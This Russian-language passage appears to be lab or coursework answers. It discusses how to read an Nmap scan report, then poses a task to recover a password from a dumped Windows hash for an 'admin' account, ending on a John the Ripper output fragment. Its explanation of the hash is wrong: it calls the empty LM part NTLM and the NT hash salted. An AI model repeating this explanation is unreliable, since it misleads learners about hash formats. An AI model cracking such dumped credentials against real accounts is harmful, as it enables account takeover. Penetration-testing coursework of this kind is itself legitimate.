. Например, FIN-сканирование может не сработать на хостах, которые не соответствуют стандартам RFC.

**Дополнительные скрипты Nmap:**

Nmap также позволяет использовать NSE (Nmap Scripting Engine) для выполнения дополнительных проверок и тестов на уязвимости. Скрипты могут помочь в выявлении специфических проблем безопасности, таких как открытые базы данных или уязвимости к SQL-инъекциям

Возможные проблемы безопасности

Открытые порты: Если отчет показывает множество открытых портов, это может свидетельствовать о потенциальных точках входа для злоумышленников.

Устаревшие версии служб: Использование устаревшего программного обеспечения без актуальных обновлений может привести к уязвимостям.

**Неоптимальные методы сканирования**: Использование неподходящих методов сканирования может привести к недостоверным данным о состоянии сети.

Таким образом, анализируя отчет Nmap, важно обращать внимание на состояние портов, версии служб и используемые методы сканирования для выявления возможных проблем безопасности в сети.

1. Восстановите пароль из хеша

fmarket.stf\admin:1337:aad3b435b51404eeaad3b435b51404ee:bebaecb23aa18f5375628541ff3fb3b8:::

Хеш имеет следующий вид:

aad3b435b51404eeaad3b435b51404ee:bebaecb23aa18f5375628541ff3fb3b8

Это указывает на использование NTLM (первый хеш) и вероятно, что второй хеш является результатом применения к паролю какой-то соли или дополнительной обработки.

John the Ripper: encoding: CP850 (UTF-8)